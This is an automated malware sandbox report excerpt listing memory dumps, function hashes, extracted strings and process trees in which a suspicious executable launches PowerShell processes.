Associated: 00000003.00000002.2369519188.00000000003D9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369538924.00000000003DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369559521.00000000003E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369580528.00000000003EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369601797.00000000003F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369621250.00000000003F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369640828.00000000003F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369660120.00000000003FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369678531.00000000003FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369699254.0000000000401000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369721958.0000000000416000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369741948.000000000041A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369760631.000000000041C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369778310.000000000041F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369796379.0000000000420000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369814887.0000000000428000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369835789.000000000043C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369853070.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369873060.000000000044B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369891426.000000000044D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369919140.0000000000485000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369937763.0000000000487000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.0000000000488000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369992141.000000000049E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2370009699.00000000004A0000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ab560dfdad19388539cc9951ee972306cce8e5debf107bb6bd7c97f830f92cab
Instruction ID: 11ae23dde5349d7ae1c949a6f14b6a21bd105b7d269144216f579d14594d0227
Opcode Fuzzy Hash: ab560dfdad19388539cc9951ee972306cce8e5debf107bb6bd7c97f830f92cab
Instruction Fuzzy Hash: 67D0C93410924ECBCB846F74900C2AD3AA0EF05362F210614B922859D1CB724C609A1A

Analysis Process: X42E6LZ0BD4W2FEYDTB0TDC.exePID: 2276, Parent PID: 5044COMMON

Executed Functions

Function 05840D18 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 423d51549b5e4093df94df06a4f1549b91532be762574cfa39a186e6b4a7afff
Instruction ID: 923e7e6c2924cdc1cbc658acc33602bebd74a7e62c4d1d25c31c9cfe661bc5b8
Opcode Fuzzy Hash: 423d51549b5e4093df94df06a4f1549b91532be762574cfa39a186e6b4a7afff
Instruction Fuzzy Hash: 8B2183EB14C128BDB041C5827B28FFBA76EE1C6B34731C92BFD42C9506E2985E5E2431

Function 05840D31 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d144f4042d3cca9c6ce2cd402286f0f8eb9b4a1a71dab99c2f4fe5f222de84d1
Instruction ID: 8b953cdd0e765238593ae73a21bb7eb80b1c3aab0f6e5846e561dba33c8d2046
Opcode Fuzzy Hash: d144f4042d3cca9c6ce2cd402286f0f8eb9b4a1a71dab99c2f4fe5f222de84d1
Instruction Fuzzy Hash: 4311C5FB14C158BDB141C5826B28FFB676EE2C6B34731C927FD42CA506D2985E5E2831

Function 05840CC7 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56fe19fd4d40f5011a7d068ee7310f1f49a65f209641a8aca6825272ea362ff2
Instruction ID: ba282835c76b73dbdd13db28ccbe733b06c0ec0d05edd9eaca381d07d5946c8d
Opcode Fuzzy Hash: 56fe19fd4d40f5011a7d068ee7310f1f49a65f209641a8aca6825272ea362ff2
Instruction Fuzzy Hash: 0011C4EB14C118BDB141C1827B28BFB676EE2C6734771C927FD46C9502E2985E5E2832

Function 05840D4B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb4d1bada1ab178dd2443aa321ecca2e468288125aed7a1aee65c5779ed1d59d
Instruction ID: 921fda30358c44577f3724c67bc0817559a59b1d7429e96d78995054b8e3cefc
Opcode Fuzzy Hash: fb4d1bada1ab178dd2443aa321ecca2e468288125aed7a1aee65c5779ed1d59d
Instruction Fuzzy Hash: 54112CEB14C158BDB141C5416B28FF7676EE2C2734731C92BFD42C9502E2985E5D6532

Function 05840DAD Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f4e5987f6da0b8bf7464f166dda22ff98c99385819ae4e9afc25047e0271d17
Instruction ID: 648828f4db6af7668185575c76a6fac1fcc65c0b06ebbf0e12668c6fec963263
Opcode Fuzzy Hash: 3f4e5987f6da0b8bf7464f166dda22ff98c99385819ae4e9afc25047e0271d17
Instruction Fuzzy Hash: B31130EB14D168BDB142C0927B28FFB6B6ED1D2634731C927FD42C9507E2881E5E2832

Function 05840D5B Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e80953624076aa0a14060d8360b5b7ee2cea86329ee4b86c25f128f554480308
Instruction ID: 15e2df575c408c11f9dce1c689c3dcbae93f0215c8dd2cb8160c9e984dc0d7e3
Opcode Fuzzy Hash: e80953624076aa0a14060d8360b5b7ee2cea86329ee4b86c25f128f554480308
Instruction Fuzzy Hash: 0F11E8EB14C128BDB042C5827B28FFBA76EE2C6734731C927FD42C9506E2880E5E2431

Function 05840D70 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8af247634b29c662ce67d1f000d0b3bceec1f197e6189c6f16c123bda59494a
Instruction ID: 9d18ba2775b7b6c983f92de1cd7c5abedafd2a0d74c7dc6f6577acc3bf07d760
Opcode Fuzzy Hash: e8af247634b29c662ce67d1f000d0b3bceec1f197e6189c6f16c123bda59494a
Instruction Fuzzy Hash: E901B7EB14C128BCB142C4827B28FFB6B6EE2D2A34771C927FD42C5506E2894E5E2431

Function 05840D98 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfffa0a321f8603eace698e4ff763fb684f6232f602e6270177551edfdffaa25
Instruction ID: 55466c64e25537e96da7743836a01381a6a0255a7488537346dec8c26bbf21bb
Opcode Fuzzy Hash: bfffa0a321f8603eace698e4ff763fb684f6232f602e6270177551edfdffaa25
Instruction Fuzzy Hash: FE0156EB14C128BDB042C0827B2CBF7676EE2D2734371C927FD42C9802E2880A5E2431

Function 05840DD6 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c62c0245c9e9ceba04eb968f6a02113e1773d3ccffef0d4b5a5f9da1f3b0790e
Instruction ID: a1dd0bae1067086c65ef6abe8ec3fccc5085037a6f4bee648ee61f92126a9ff8
Opcode Fuzzy Hash: c62c0245c9e9ceba04eb968f6a02113e1773d3ccffef0d4b5a5f9da1f3b0790e
Instruction Fuzzy Hash: 1AF0F9EB14C168BDB002C0927B28EFB676EE1D2734331C87BFD42C5906E2980A1E6431

Function 05840E15 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2293237079.0000000005840000.00000040.00001000.00020000.00000000.sdmp, Offset: 05840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5840000_X42E6LZ0BD4W2FEYDTB0TDC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06de403af6c7cd7d32b0f82c6831361a342261782efe9837ea8012f70c3f0963
Instruction ID: 8ce8bf1d9af534c07cf75e98a83afb4115cb0e139bcf2254130035aac67b42ad
Opcode Fuzzy Hash: 06de403af6c7cd7d32b0f82c6831361a342261782efe9837ea8012f70c3f0963
Instruction Fuzzy Hash: 83F022FB24D164BD7041D1923F28EFB976EE1D2B343B1C82BF942C5806E6994A5E6432

Analysis Process: powershell.exePID: 2360, Parent PID: 2276COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 08E97858 Relevance: 1.6, APIs: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 08E978C2

Memory Dump Source

Source File: 0000000B.00000002.2867340045.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8e90000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 1027695b952adb51092e492deed3433c77f3695f275af6b8618c04e49b054f71
Instruction ID: 286ad9f0057a52f0aa99541c5b0d1fe54e15d83fe2f8eddc554eaee2d00c7046
Opcode Fuzzy Hash: 1027695b952adb51092e492deed3433c77f3695f275af6b8618c04e49b054f71
Instruction Fuzzy Hash: 9B1143B1D002488FCB20DF9AC845B9EFFF8EB48320F148459E559A3210C778A885CFA5

Function 08E97860 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 08E978C2

Memory Dump Source

Source File: 0000000B.00000002.2867340045.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_8e90000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: d65a97fe67a22fe3bb4eff815df4a3718ead82eeeb07d6b555acd22734bf1dc2
Instruction ID: ef3b1c7e7955581a5a4f9c3a366dec59be0875a5941694f60dbb70c58e002e0c
Opcode Fuzzy Hash: d65a97fe67a22fe3bb4eff815df4a3718ead82eeeb07d6b555acd22734bf1dc2
Instruction Fuzzy Hash: 9C1125B19003588FCB20DF9AC944B9EFFF8EB48320F148459D559A3210D778A944CFA4

Function 07B23CE8 Relevance: .2, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac0bc1dd4eb776be3f26564b3f6cbb15f4e9911f7d6d162484087bb7ed87f745
Instruction ID: 8cd7c383c46b9f2bc0d7e873cdd37afdc97f7e06fbcc40c9ba422159277303e4
Opcode Fuzzy Hash: ac0bc1dd4eb776be3f26564b3f6cbb15f4e9911f7d6d162484087bb7ed87f745
Instruction Fuzzy Hash: D75128F0B02221DBDB259B28851066ABBE3EF81754B1484A9C9098F355DF3DDD07D7B2

Function 07B22700 Relevance: .2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd47a5c1a39d5a65ac99204f539922153bf021aec6368b34dbe65d7b92ae233
Instruction ID: ebb05840afdb153211272e2540681a208d031e8413726415ea62b3166753c7c6
Opcode Fuzzy Hash: 1cd47a5c1a39d5a65ac99204f539922153bf021aec6368b34dbe65d7b92ae233
Instruction Fuzzy Hash: CA5124B0B05216CFEB149F6888446AA77E6FF89321F0184A5D909CF361DB35DD42CBA2

Function 07B228E8 Relevance: .1, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc3237128a3f1d505850f00eceff9a306ecba60cdf1c23c961e8503fb773e4b2
Instruction ID: 7a97a3ade44a3a3c72c54cc55e1db8b0fb6696fba52b69b3c244a038098e3891
Opcode Fuzzy Hash: fc3237128a3f1d505850f00eceff9a306ecba60cdf1c23c961e8503fb773e4b2
Instruction Fuzzy Hash: 83412CF1B112158FD7549B6C88407AABBE6FF89311F1180B5D609CB351DA35DD02C7B2

Function 07B23CD5 Relevance: .1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96f5253e4710a81ec2e75f7068eb2cb914baec8b3d9fe9a079208e9afe8591af
Instruction ID: 45d6dd469be36049c37f9cbf7b6563324c85e5ed8de6ea50816a5f9c7cfa7693
Opcode Fuzzy Hash: 96f5253e4710a81ec2e75f7068eb2cb914baec8b3d9fe9a079208e9afe8591af
Instruction Fuzzy Hash: 904126F0A02222DBEB219B28C54066A7BE3EB81754F1440E9C9089F255DB3DDC4BDBB1

Function 07B228D6 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44e3b296e22550a05a2d8fdb4eb6586694efd1dd5e6df97c8daad4df2080c817
Instruction ID: f4b9143fa48cc7080f09686b0556bb71f1e1d9fc2077929cd02d058399808cf6
Opcode Fuzzy Hash: 44e3b296e22550a05a2d8fdb4eb6586694efd1dd5e6df97c8daad4df2080c817
Instruction Fuzzy Hash: 3C21F5F1A11216DFEB148B58C440AEABBE5FF89221F1680F6D50DCB211D731C947D7A2

Function 07B226ED Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e67ff9d64cf41b70f2d82f3d57a9361061c3bc72d43866075db708ed7a3121f6
Instruction ID: 2d311bbfbbb474aff1d364355badee635d23c7278ef59d132e45345c38dad14f
Opcode Fuzzy Hash: e67ff9d64cf41b70f2d82f3d57a9361061c3bc72d43866075db708ed7a3121f6
Instruction Fuzzy Hash: 2B31CFF4A0A226DFEB109E69C544AE577E0FF05221F0680E6D808CF261D734CD46DBA2

Non-executed Functions

Function 07B22AD8 Relevance: 9.0, Strings: 7, Instructions: 247COMMON

Download Yara Rule

Strings

4']q, xrefs: 07B22BDB
tP]q, xrefs: 07B22D31
$]q, xrefs: 07B22CE0
4']q, xrefs: 07B22BE7
$]q, xrefs: 07B22CBA
$]q, xrefs: 07B22CEC
tP]q, xrefs: 07B22D25

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q
API String ID: 0-108373575
Opcode ID: 33563b90e05d4e5d245aecd88248ab4ddd983b53574156c0d10832d2803c8574
Instruction ID: 882f771a5a9c99fee8f1236ac96fc2fda05c5f832c55aaaf24a0eff9c23425ea
Opcode Fuzzy Hash: 33563b90e05d4e5d245aecd88248ab4ddd983b53574156c0d10832d2803c8574
Instruction Fuzzy Hash: F9815BF17052268FE7244F2898146AABBE5FFC5720F1584AAE809CF361DA35CC42D7A1

Function 07B23928 Relevance: 6.4, Strings: 5, Instructions: 112COMMON

Download Yara Rule

Strings

$]q, xrefs: 07B23960
tP]q, xrefs: 07B239B1
$]q, xrefs: 07B2396C
$]q, xrefs: 07B2393A
tP]q, xrefs: 07B239A5

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID: tP]q$tP]q$$]q$$]q$$]q
API String ID: 0-1831577214
Opcode ID: b5744bf4bb711bfb23ad6985bb299ae58588da3090abbc160d5bd55cc52c07aa
Instruction ID: f4149fb6a73a774f4e3526dbc18d9d1eec0b2839a9188984592ac7133bf23d7f
Opcode Fuzzy Hash: b5744bf4bb711bfb23ad6985bb299ae58588da3090abbc160d5bd55cc52c07aa
Instruction Fuzzy Hash: 19315CB23052259FE7188B6DD44062AB7F6EFC6720F3484ABD949CB351CA3ACC46C750

Function 07B22FB8 Relevance: 5.2, Strings: 4, Instructions: 222COMMON

Download Yara Rule

Strings

tP]q, xrefs: 07B23068
4']q, xrefs: 07B231C0
4']q, xrefs: 07B231B6
tP]q, xrefs: 07B2305C

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q
API String ID: 0-3637193552
Opcode ID: f35123a48cae0ff1b6786974b418fbf6c0c2fc2c344cbe6fc72b3f5b40442fa3
Instruction ID: c1b0164009e20d0167ef06ae213ed10942ab40fbe1f81553b4dea3631e14cc17
Opcode Fuzzy Hash: f35123a48cae0ff1b6786974b418fbf6c0c2fc2c344cbe6fc72b3f5b40442fa3
Instruction Fuzzy Hash: 04712CF1B012268FEB248B69840076BBBE6EF85711F1484B6D51D8F255DA3DC843D7A2

Function 07B21EF8 Relevance: 5.2, Strings: 4, Instructions: 176COMMON

Download Yara Rule

Strings

4']q, xrefs: 07B21F95
tP]q, xrefs: 07B21FDF
4']q, xrefs: 07B21F89
tP]q, xrefs: 07B21FEB

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q
API String ID: 0-3637193552
Opcode ID: 2b317c4dcd281322713daf3302087886641c01a31f70ab6d29d45229985d4bfc
Instruction ID: dd2ff26537971f40885855d28bc3ceec8256b9f4abefc315c67411dd76a87483
Opcode Fuzzy Hash: 2b317c4dcd281322713daf3302087886641c01a31f70ab6d29d45229985d4bfc
Instruction Fuzzy Hash: FF517CF0B0622A8FD7258B5D94506A7BBA6EF81310F1580E7C919CF255DB35CC43D3A2

Function 07B25798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 07B257F4
$]q, xrefs: 07B257AA
$]q, xrefs: 07B25800
$]q, xrefs: 07B257C6

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: bcd9461f3cf38c2b190c01853d64d0221351d991c32e48cc742d3034acf8fff6
Instruction ID: 9758e60ca111f1a5897a8627629c2f3f4e79766b9d5dbe5a7638eb2073147c7e
Opcode Fuzzy Hash: bcd9461f3cf38c2b190c01853d64d0221351d991c32e48cc742d3034acf8fff6
Instruction Fuzzy Hash: 782128F13112269BE734662A8844727B7DADFC0711F2484EAAA0DCF395DDB9C8129361

Function 07B20315 Relevance: 5.0, Strings: 4, Instructions: 40COMMON

Download Yara Rule

Strings

$]q, xrefs: 07B2035E
$]q, xrefs: 07B20352
4']q, xrefs: 07B2037F
4']q, xrefs: 07B20373

Memory Dump Source

Source File: 0000000B.00000002.2853155445.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7b20000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: f925e87b508ab21ffca0f7a1bb8df60d16bf77f194e4783b1174612518f1e508
Instruction ID: 783da58eebef123fd41380c73e38df6f3221d32d0c18962a317bf1ff4a757cac
Opcode Fuzzy Hash: f925e87b508ab21ffca0f7a1bb8df60d16bf77f194e4783b1174612518f1e508
Instruction Fuzzy Hash: C7F04C7071D7228BD33D122C25602655AB6EFCA92072905A7C445DF396CD185C47C3A7

Analysis Process: powershell.exePID: 6972, Parent PID: 2360COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 035BB488 Relevance: 5.3, Strings: 4, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

sUOo^, xrefs: 035BB6F8, 035BB6FD
\Oo^, xrefs: 035BB4D4
cUOo^, xrefs: 035BB730, 035BB735
SUOo^, xrefs: 035BB768, 035BB76D

Memory Dump Source

Source File: 0000000D.00000002.2798886672.00000000035B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_35b0000_powershell.jbxd

Similarity

API ID:
String ID: SUOo^$cUOo^$sUOo^$\Oo^
API String ID: 0-2880378303
Opcode ID: c57fd98c0583388b27c90f7fc434d2eee16e7ef2faa44ce20644bd03f3b9484a
Instruction ID: 60b11156f0c6f559cbe38dba5293abd9498b849df4f56f4cb41248002aaa4c2d
Opcode Fuzzy Hash: c57fd98c0583388b27c90f7fc434d2eee16e7ef2faa44ce20644bd03f3b9484a
Instruction Fuzzy Hash: C1918B74F007189BDB19EFB484505EEBBF2EF84610B01C91DD18AAB350DF7899068BD6

Function 035BB498 Relevance: 5.3, Strings: 4, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

sUOo^, xrefs: 035BB6F8, 035BB6FD
\Oo^, xrefs: 035BB4D4
cUOo^, xrefs: 035BB730, 035BB735
SUOo^, xrefs: 035BB768, 035BB76D

Memory Dump Source

Source File: 0000000D.00000002.2798886672.00000000035B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_35b0000_powershell.jbxd

Similarity

API ID:
String ID: SUOo^$cUOo^$sUOo^$\Oo^
API String ID: 0-2880378303
Opcode ID: dbbba9ba8b9a1aeee5249acf5bf0b19116d4190acdbbcce96457c614acbc83af
Instruction ID: 1c0cf30ff0358f75f1c3029110b8144f34c2e056463cd82bdd50c0351ce96b00
Opcode Fuzzy Hash: dbbba9ba8b9a1aeee5249acf5bf0b19116d4190acdbbcce96457c614acbc83af
Instruction Fuzzy Hash: AD918C74F007189BDB19EFB494505EEB7F2EF84610B00C92DD18AAB350DF78A9068BD6

Function 07D52308 Relevance: 3.1, Strings: 2, Instructions: 627COMMON

Download Yara Rule

Strings

4']q, xrefs: 07D5260D
4']q, xrefs: 07D52619

Memory Dump Source

Source File: 0000000D.00000002.2811238840.0000000007D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7d50000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: b1439ce087b44bb0b624301f06386da10ba3359c85f1081622e8f91ea3d0969b
Instruction ID: 970626774d7225af359c785b21a49de0d89a4d7ce8d4c94e9759c79ee1a99d29
Opcode Fuzzy Hash: b1439ce087b44bb0b624301f06386da10ba3359c85f1081622e8f91ea3d0969b
Instruction Fuzzy Hash: B52215F17002068FDF159B6884406AAFBE6FF85321F1480BADD45CF351DA35E949CBA2

Function 08EC6B10 Relevance: 1.6, APIs: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(?,?), ref: 08EC6B7A

Memory Dump Source

Source File: 0000000D.00000002.2814209538.0000000008EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8ec0000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 9ff355d3685bf650e990e49b7ef5e847b5f070f48a8c6b9b7826e9ce5f66a7f1
Instruction ID: 8feb0515a044ac5a48cfa5432d47db43c5b00a549f54a7ccd804548a0afb28b4
Opcode Fuzzy Hash: 9ff355d3685bf650e990e49b7ef5e847b5f070f48a8c6b9b7826e9ce5f66a7f1
Instruction Fuzzy Hash: 681134B19002498FCB10DF9AC585BDEFFF4EB88320F24841DD019A7220C778A945CFA1

Function 08EC6B18 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(?,?), ref: 08EC6B7A

Memory Dump Source

Source File: 0000000D.00000002.2814209538.0000000008EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8ec0000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
